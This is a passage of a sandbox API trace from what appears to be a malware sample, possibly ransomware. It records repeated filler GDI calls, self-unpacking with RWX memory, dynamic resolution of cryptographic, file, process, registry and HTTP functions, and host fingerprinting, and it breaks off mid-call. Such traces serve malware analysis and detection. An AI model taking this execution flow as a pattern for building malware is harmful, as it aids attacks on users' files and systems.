(hdc=0x0) returned 0 [0119.435] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.435] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.435] GradientFill () returned 0x0 [0119.435] BeginPath (hdc=0x0) returned 0 [0119.435] FillPath (hdc=0x0) returned 0 [0119.435] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.435] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.435] GradientFill () returned 0x0 [0119.435] BeginPath (hdc=0x0) returned 0 [0119.435] FillPath (hdc=0x0) returned 0 [0119.435] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.435] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.435] GradientFill () returned 0x0 [0119.435] BeginPath (hdc=0x0) returned 0 [0119.435] FillPath (hdc=0x0) returned 0 [0119.435] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.435] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.435] GradientFill () returned 0x0 [0119.435] BeginPath (hdc=0x0) returned 0 [0119.435] FillPath (hdc=0x0) returned 0 [0119.435] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.435] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.435] GradientFill () returned 0x0 [0119.435] BeginPath (hdc=0x0) returned 0 [0119.435] FillPath (hdc=0x0) returned 0 [0119.435] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.435] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.435] GradientFill () returned 0x0 [0119.435] BeginPath (hdc=0x0) returned 0 [0119.435] FillPath (hdc=0x0) returned 0 [0119.435] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.435] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.435] GradientFill () returned 0x0 [0119.435] BeginPath (hdc=0x0) returned 0 [0119.435] FillPath (hdc=0x0) returned 0 [0119.435] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.435] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.435] GradientFill () returned 0x0 [0119.435] BeginPath (hdc=0x0) returned 0 [0119.435] FillPath (hdc=0x0) returned 0 [0119.436] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.436] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.436] GradientFill () returned 0x0 [0119.436] BeginPath (hdc=0x0) returned 0 [0119.436] FillPath (hdc=0x0) returned 0 [0119.436] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.436] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.436] GradientFill () returned 0x0 [0119.436] BeginPath (hdc=0x0) returned 0 [0119.436] FillPath (hdc=0x0) returned 0 [0119.436] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.436] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.436] GradientFill () returned 0x0 [0119.436] BeginPath (hdc=0x0) returned 0 [0119.436] FillPath (hdc=0x0) returned 0 [0119.436] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.436] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.436] GradientFill () returned 0x0 [0119.436] BeginPath (hdc=0x0) returned 0 [0119.436] FillPath (hdc=0x0) returned 0 [0119.436] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.436] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.436] GradientFill () returned 0x0 [0119.436] BeginPath (hdc=0x0) returned 0 [0119.436] FillPath (hdc=0x0) returned 0 [0119.436] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.436] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.436] GradientFill () returned 0x0 [0119.436] BeginPath (hdc=0x0) returned 0 [0119.436] FillPath (hdc=0x0) returned 0 [0119.436] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.436] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.436] GradientFill () returned 0x0 [0119.436] BeginPath (hdc=0x0) returned 0 [0119.436] FillPath (hdc=0x0) returned 0 [0119.436] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.436] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.436] GradientFill () returned 0x0 [0119.436] BeginPath (hdc=0x0) returned 0 [0119.436] FillPath (hdc=0x0) returned 0 [0119.436] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.436] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.436] GradientFill () returned 0x0 [0119.436] BeginPath (hdc=0x0) returned 0 [0119.436] FillPath (hdc=0x0) returned 0 [0119.436] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.436] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.436] GradientFill () returned 0x0 [0119.436] BeginPath (hdc=0x0) returned 0 [0119.436] FillPath (hdc=0x0) returned 0 [0119.436] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.436] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.436] GradientFill () returned 0x0 [0119.436] BeginPath (hdc=0x0) returned 0 [0119.436] FillPath (hdc=0x0) returned 0 [0119.436] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.436] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.436] GradientFill () returned 0x0 [0119.436] BeginPath (hdc=0x0) returned 0 [0119.436] FillPath (hdc=0x0) returned 0 [0119.436] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.436] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.436] GradientFill () returned 0x0 [0119.436] BeginPath (hdc=0x0) returned 0 [0119.436] FillPath (hdc=0x0) returned 0 [0119.436] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.436] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.436] GradientFill () returned 0x0 [0119.436] BeginPath (hdc=0x0) returned 0 [0119.437] FillPath (hdc=0x0) returned 0 [0119.437] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.437] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.437] GradientFill () returned 0x0 [0119.437] BeginPath (hdc=0x0) returned 0 [0119.437] FillPath (hdc=0x0) returned 0 [0119.437] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.437] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.437] GradientFill () returned 0x0 [0119.437] BeginPath (hdc=0x0) returned 0 [0119.437] FillPath (hdc=0x0) returned 0 [0119.437] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.437] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.437] GradientFill () returned 0x0 [0119.437] BeginPath (hdc=0x0) returned 0 [0119.437] FillPath (hdc=0x0) returned 0 [0119.437] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.437] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.437] GradientFill () returned 0x0 [0119.437] BeginPath (hdc=0x0) returned 0 [0119.437] FillPath (hdc=0x0) returned 0 [0119.437] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.437] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.437] GradientFill () returned 0x0 [0119.437] BeginPath (hdc=0x0) returned 0 [0119.437] FillPath (hdc=0x0) returned 0 [0119.437] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.437] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.437] GradientFill () returned 0x0 [0119.437] BeginPath (hdc=0x0) returned 0 [0119.437] FillPath (hdc=0x0) returned 0 [0119.437] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.437] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.437] GradientFill () returned 0x0 [0119.437] BeginPath (hdc=0x0) returned 0 [0119.437] FillPath (hdc=0x0) returned 0 [0119.437] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.437] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.437] GradientFill () returned 0x0 [0119.437] BeginPath (hdc=0x0) returned 0 [0119.437] FillPath (hdc=0x0) returned 0 [0119.437] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.437] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.437] GradientFill () returned 0x0 [0119.437] BeginPath (hdc=0x0) returned 0 [0119.437] FillPath (hdc=0x0) returned 0 [0119.437] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.437] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.437] GradientFill () returned 0x0 [0119.437] BeginPath (hdc=0x0) returned 0 [0119.437] FillPath (hdc=0x0) returned 0 [0119.437] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.437] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.470] VirtualProtect (in: lpAddress=0x2a4848, dwSize=0x9458, flNewProtect=0x40, lpflOldProtect=0x19fe8c | out: lpflOldProtect=0x19fe8c*=0x4) returned 1 [0119.470] GetProcAddress (hModule=0x74780000, lpProcName="LoadLibraryA") returned 0x7479d8d0 [0120.414] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x74780000 [0120.415] GetProcAddress (hModule=0x74780000, lpProcName="VirtualAlloc") returned 0x74798b70 [0120.415] GetProcAddress (hModule=0x74780000, lpProcName="VirtualProtect") returned 0x74798c50 [0120.415] GetProcAddress (hModule=0x74780000, lpProcName="VirtualFree") returned 0x74798c70 [0120.415] GetProcAddress (hModule=0x74780000, lpProcName="GetVersionExA") returned 0x74799fe0 [0120.415] GetProcAddress (hModule=0x74780000, lpProcName="TerminateProcess") returned 0x7479fbc0 [0120.415] GetVersionExA (in: lpVersionInformation=0x19edb4*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x2a4848, dwMinorVersion=0x19ee24, dwBuildNumber=0x0, dwPlatformId=0xe844432c, szCSDVersion="Xª)") | out: lpVersionInformation=0x19edb4*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0120.415] VirtualAlloc (lpAddress=0x0, dwSize=0x11400, flAllocationType=0x1000, flProtect=0x4) returned 0x230000 [0120.415] VirtualProtect (in: lpAddress=0x400000, dwSize=0x16000, flNewProtect=0x40, lpflOldProtect=0x19fe40 | out: lpflOldProtect=0x19fe40*=0x2) returned 1 [0120.467] VirtualFree (lpAddress=0x230000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.467] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x74780000 [0120.467] GetProcAddress (hModule=0x74780000, lpProcName="SetFilePointer") returned 0x747a6530 [0120.467] GetProcAddress (hModule=0x74780000, lpProcName="VirtualFree") returned 0x74798c70 [0120.467] GetProcAddress (hModule=0x74780000, lpProcName="GetFileAttributesW") returned 0x747a6340 [0120.467] GetProcAddress (hModule=0x74780000, lpProcName="ReadFile") returned 0x747a64a0 [0120.467] GetProcAddress (hModule=0x74780000, lpProcName="MoveFileW") returned 0x7479a770 [0120.467] GetProcAddress (hModule=0x74780000, lpProcName="lstrcpyW") returned 0x747bd410 [0120.467] GetProcAddress (hModule=0x74780000, lpProcName="SetFileAttributesW") returned 0x747a6510 [0120.467] GetProcAddress (hModule=0x74780000, lpProcName="GetDriveTypeW") returned 0x747a6300 [0120.467] GetProcAddress (hModule=0x74780000, lpProcName="VerSetConditionMask") returned 0x774b53c0 [0120.468] GetProcAddress (hModule=0x74780000, lpProcName="WaitForSingleObject") returned 0x747a6110 [0120.468] GetProcAddress (hModule=0x74780000, lpProcName="GetTickCount") returned 0x747a57f0 [0120.468] GetProcAddress (hModule=0x74780000, lpProcName="OpenProcess") returned 0x747992b0 [0120.468] GetProcAddress (hModule=0x74780000, lpProcName="GetSystemDirectoryW") returned 0x74799a90 [0120.468] GetProcAddress (hModule=0x74780000, lpProcName="TerminateThread") returned 0x7479fcb0 [0120.468] GetProcAddress (hModule=0x74780000, lpProcName="Sleep") returned 0x747977b0 [0120.468] GetProcAddress (hModule=0x74780000, lpProcName="TerminateProcess") returned 0x7479fbc0 [0120.468] GetProcAddress (hModule=0x74780000, lpProcName="VerifyVersionInfoW") returned 0x74797960 [0120.468] GetProcAddress (hModule=0x74780000, lpProcName="WaitForMultipleObjects") returned 0x747a60f0 [0120.468] GetProcAddress (hModule=0x74780000, lpProcName="lstrcmpiW") returned 0x74797540 [0120.468] GetProcAddress (hModule=0x74780000, lpProcName="ExpandEnvironmentStringsW") returned 0x7479c8c0 [0120.468] GetProcAddress (hModule=0x74780000, lpProcName="CreateProcessW") returned 0x7479a510 [0120.468] GetProcAddress (hModule=0x74780000, lpProcName="SetHandleInformation") returned 0x747a5f50 [0120.468] GetProcAddress (hModule=0x74780000, lpProcName="ExitThread") returned 0x774c2570 [0120.468] GetProcAddress (hModule=0x74780000, lpProcName="MultiByteToWideChar") returned 0x74792d60 [0120.468] GetProcAddress (hModule=0x74780000, lpProcName="CreatePipe") returned 0x74790570 [0120.468] GetProcAddress (hModule=0x74780000, lpProcName="Process32FirstW") returned 0x7479ee30 [0120.468] GetProcAddress (hModule=0x74780000, lpProcName="Process32NextW") returned 0x7479c9b0 [0120.468] GetProcAddress (hModule=0x74780000, lpProcName="lstrcmpiA") returned 0x74797610 [0120.469] GetProcAddress (hModule=0x74780000, lpProcName="InitializeCriticalSection") returned 0x774b95f0 [0120.469] GetProcAddress (hModule=0x74780000, lpProcName="FindFirstFileW") returned 0x747a6250 [0120.469] GetProcAddress (hModule=0x74780000, lpProcName="lstrcmpW") returned 0x747978d0 [0120.469] GetProcAddress (hModule=0x74780000, lpProcName="FindClose") returned 0x747a61d0 [0120.469] GetProcAddress (hModule=0x74780000, lpProcName="FindNextFileW") returned 0x747a6290 [0120.469] GetProcAddress (hModule=0x74780000, lpProcName="GetNativeSystemInfo") returned 0x7479a410 [0120.469] GetProcAddress (hModule=0x74780000, lpProcName="GetComputerNameW") returned 0x747a3e90 [0120.469] GetProcAddress (hModule=0x74780000, lpProcName="GetDiskFreeSpaceW") returned 0x747a62e0 [0120.469] GetProcAddress (hModule=0x74780000, lpProcName="GetWindowsDirectoryW") returned 0x747a4cc0 [0120.469] GetProcAddress (hModule=0x74780000, lpProcName="GetVolumeInformationW") returned 0x747a6450 [0120.469] GetProcAddress (hModule=0x74780000, lpProcName="LoadLibraryA") returned 0x7479d8d0 [0120.469] GetProcAddress (hModule=0x74780000, lpProcName="CreateThread") returned 0x74799700 [0120.469] GetProcAddress (hModule=0x74780000, lpProcName="CloseHandle") returned 0x747a5f20 [0120.469] GetProcAddress (hModule=0x74780000, lpProcName="lstrcatW") returned 0x747bd320 [0120.469] GetProcAddress (hModule=0x74780000, lpProcName="CreateFileMappingW") returned 0x747991e0 [0120.469] GetProcAddress (hModule=0x74780000, lpProcName="GetLastError") returned 0x74792db0 [0120.469] GetProcAddress (hModule=0x74780000, lpProcName="GetTempPathW") returned 0x747a6420 [0120.469] GetProcAddress (hModule=0x74780000, lpProcName="CreateFileW") returned 0x747a6180 [0120.470] GetProcAddress (hModule=0x74780000, lpProcName="GetModuleFileNameW") returned 0x74799560 [0120.470] GetProcAddress (hModule=0x74780000, lpProcName="WriteFile") returned 0x747a6590 [0120.470] GetProcAddress (hModule=0x74780000, lpProcName="GetModuleHandleW") returned 0x74799660 [0120.470] GetProcAddress (hModule=0x74780000, lpProcName="UnmapViewOfFile") returned 0x747994b0 [0120.470] GetProcAddress (hModule=0x74780000, lpProcName="MapViewOfFile") returned 0x74798c10 [0120.470] GetProcAddress (hModule=0x74780000, lpProcName="CreateMutexW") returned 0x747a5fe0 [0120.470] GetProcAddress (hModule=0x74780000, lpProcName="GetFileSize") returned 0x747a6360 [0120.470] GetProcAddress (hModule=0x74780000, lpProcName="GetEnvironmentVariableW") returned 0x74799540 [0120.470] GetProcAddress (hModule=0x74780000, lpProcName="lstrcpyA") returned 0x7479e320 [0120.470] GetProcAddress (hModule=0x74780000, lpProcName="GetModuleHandleA") returned 0x74799640 [0120.470] GetProcAddress (hModule=0x74780000, lpProcName="VirtualAlloc") returned 0x74798b70 [0120.470] GetProcAddress (hModule=0x74780000, lpProcName="CreateToolhelp32Snapshot") returned 0x747a7510 [0120.470] GetProcAddress (hModule=0x74780000, lpProcName="lstrlenW") returned 0x74792d80 [0120.470] GetProcAddress (hModule=0x74780000, lpProcName="GetProcAddress") returned 0x74797940 [0120.470] GetProcAddress (hModule=0x74780000, lpProcName="GetProcessHeap") returned 0x74797910 [0120.470] GetProcAddress (hModule=0x74780000, lpProcName="HeapFree") returned 0x747925e0 [0120.470] GetProcAddress (hModule=0x74780000, lpProcName="HeapAlloc") returned 0x7749da90 [0120.470] GetProcAddress (hModule=0x74780000, lpProcName="lstrlenA") returned 0x747a3a30 [0120.470] GetProcAddress (hModule=0x74780000, lpProcName="lstrcatA") returned 0x7479efc0 [0120.471] GetProcAddress (hModule=0x74780000, lpProcName="ExitProcess") returned 0x747a74f0 [0120.471] GetProcAddress (hModule=0x74780000, lpProcName="IsProcessorFeaturePresent") returned 0x74799680 [0120.471] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x77050000 [0120.471] GetProcAddress (hModule=0x77050000, lpProcName="GetMessageW") returned 0x77083230 [0120.471] GetProcAddress (hModule=0x77050000, lpProcName="LoadCursorW") returned 0x77067740 [0120.471] GetProcAddress (hModule=0x77050000, lpProcName="BeginPaint") returned 0x77084ea0 [0120.471] GetProcAddress (hModule=0x77050000, lpProcName="DestroyWindow") returned 0x770856f0 [0120.471] GetProcAddress (hModule=0x77050000, lpProcName="TranslateMessage") returned 0x7706b9d0 [0120.471] GetProcAddress (hModule=0x77050000, lpProcName="RegisterClassExW") returned 0x77068ee0 [0120.471] GetProcAddress (hModule=0x77050000, lpProcName="LoadIconW") returned 0x77067710 [0120.471] GetProcAddress (hModule=0x77050000, lpProcName="SetWindowLongW") returned 0x77061830 [0120.471] GetProcAddress (hModule=0x77050000, lpProcName="EndPaint") returned 0x77084ec0 [0120.471] GetProcAddress (hModule=0x77050000, lpProcName="GetForegroundWindow") returned 0x770850f0 [0120.471] GetProcAddress (hModule=0x77050000, lpProcName="wsprintfW") returned 0x7707ddf0 [0120.471] GetProcAddress (hModule=0x77050000, lpProcName="ShowWindow") returned 0x770852a0 [0120.471] GetProcAddress (hModule=0x77050000, lpProcName="CreateWindowExW") returned 0x770691c0 [0120.471] GetProcAddress (hModule=0x77050000, lpProcName="SendMessageW") returned 0x770638f0 [0120.471] GetProcAddress (hModule=0x77050000, lpProcName="DispatchMessageW") returned 0x77063e40 [0120.472] GetProcAddress (hModule=0x77050000, lpProcName="DefWindowProcW") returned 0x774dcaa0 [0120.472] GetProcAddress (hModule=0x77050000, lpProcName="UpdateWindow") returned 0x77077020 [0120.472] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x75660000 [0120.472] GetProcAddress (hModule=0x75660000, lpProcName="TextOutW") returned 0x7570a630 [0120.472] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74c90000 [0120.472] GetProcAddress (hModule=0x74c90000, lpProcName="CryptExportKey") returned 0x74caf8f0 [0120.472] GetProcAddress (hModule=0x74c90000, lpProcName="AllocateAndInitializeSid") returned 0x74caf0c0 [0120.472] GetProcAddress (hModule=0x74c90000, lpProcName="RegSetValueExW") returned 0x74caf0a0 [0120.472] GetProcAddress (hModule=0x74c90000, lpProcName="RegCreateKeyExW") returned 0x74caf550 [0120.472] GetProcAddress (hModule=0x74c90000, lpProcName="RegCloseKey") returned 0x74caefa0 [0120.472] GetProcAddress (hModule=0x74c90000, lpProcName="CryptAcquireContextW") returned 0x74cb0730 [0120.472] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGetKeyParam") returned 0x74cc5c90 [0120.472] GetProcAddress (hModule=0x74c90000, lpProcName="CryptReleaseContext") returned 0x74cb0ad0 [0120.472] GetProcAddress (hModule=0x74c90000, lpProcName="CryptImportKey") returned 0x74caf890 [0120.472] GetProcAddress (hModule=0x74c90000, lpProcName="CryptEncrypt") returned 0x74cc5bd0 [0120.473] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenKey") returned 0x74cb3fd0 [0120.473] GetProcAddress (hModule=0x74c90000, lpProcName="CryptDestroyKey") returned 0x74cafc10 [0120.473] GetProcAddress (hModule=0x74c90000, lpProcName="GetUserNameW") returned 0x74cb0ee0 [0120.473] GetProcAddress (hModule=0x74c90000, lpProcName="RegQueryValueExW") returned 0x74caed60 [0120.473] GetProcAddress (hModule=0x74c90000, lpProcName="RegOpenKeyExW") returned 0x74caed80 [0120.473] GetProcAddress (hModule=0x74c90000, lpProcName="FreeSid") returned 0x74cb04a0 [0120.473] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75c90000 [0120.485] GetProcAddress (hModule=0x75c90000, lpProcName="SHGetSpecialFolderPathW") returned 0x75e1edb0 [0120.485] GetProcAddress (hModule=0x75c90000, lpProcName="ShellExecuteW") returned 0x75e24370 [0120.485] GetProcAddress (hModule=0x75c90000, lpProcName="ShellExecuteExW") returned 0x75e24cb0 [0120.485] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x74d10000 [0120.487] GetProcAddress (hModule=0x74d10000, lpProcName="CryptStringToBinaryA") returned 0x74d58040 [0120.488] GetProcAddress (hModule=0x74d10000, lpProcName="CryptBinaryToStringA") returned 0x74d32290 [0120.488] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x74220000 [0120.594] GetProcAddress (hModule=0x74220000, lpProcName="HttpSendRequestW") returned 0x74294510 [0120.594] GetProcAddress (hModule=0x74220000, lpProcName="HttpOpenRequestW") returned 0x742e9fd0 [0120.594] GetProcAddress (hModule=0x74220000, lpProcName="InternetCloseHandle") returned 0x742a2410 [0120.594] GetProcAddress (hModule=0x74220000, lpProcName="InternetOpenW") returned 0x74292460 [0120.594] GetProcAddress (hModule=0x74220000, lpProcName="InternetConnectW") returned 0x742bb650 [0120.594] GetProcAddress (hModule=0x74220000, lpProcName="InternetReadFile") returned 0x742911e0 [0120.594] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x74160000 [0120.626] GetProcAddress (hModule=0x74160000, lpProcName="atexit") returned 0x7417c544 [0120.626] atexit (param_1=0x2a5077) returned 0 [0120.626] Sleep (dwMilliseconds=0x3e8) [0121.628] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\services\\Tcpip\\Parameters", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fca4 | out: phkResult=0x19fca4*=0x174) returned 0x0 [0121.629] RegQueryValueExW (in: hKey=0x174, lpValueName="Domain", lpReserved=0x0, lpType=0x0, lpData=0x29efd8, lpcbData=0x19fcb4*=0x80 | out: lpType=0x0, lpData=0x29efd8*=0x0, lpcbData=0x19fcb4*=0x2) returned 0x0 [0121.629] RegCloseKey (hKey=0x174) returned 0x0 [0121.629] wsprintfW (in: param_1=0x29efd8, param_2="WORKGROUP" | out: param_1="WORKGROUP") returned 9 [0121.629] GetWindowsDirectoryW (in: lpBuffer=0x2b3180, uSize=0x100 | out: lpBuffer="C:\\Windows") returned 0xa [0121.629] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x2b3380, nVolumeNameSize=0x100, lpVolumeSerialNumber=0x2b3780, lpMaximumComponentLength=0x2b3788, lpFileSystemFlags=0x2b3784, lpFileSystemNameBuffer=0x2b3580, nFileSystemNameSize=0x100 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x2b3780*=0xd2ca4def, lpMaximumComponentLength=0x2b3788*=0xff, lpFileSystemFlags=0x2b3784*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0121.629] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fca4 | out: phkResult=0x19fca4*=0x174) returned 0x0 [0121.629] RegQueryValueExW (in: hKey=0x174, lpValueName="ProcessorNameString", lpReserved=0x0, lpType=0x0, lpData=0x2b378c, lpcbData=0x19fcb4*=0x80 | out: lpType=0x0, lpData=0x2b378c*=0x49, lpcbData=0x19fcb4*=0x54) returned 0x0 [0121.629] RegCloseKey (hKey=0x174) returned 0x0 [0121.629] lstrlenW (lpString="Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHz") returned 41 [0121.629] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fca4 | out: phkResult=0x19fca4*=0x174) returned 0x0 [0121.629] RegQueryValueExW (in: hKey=0x174, 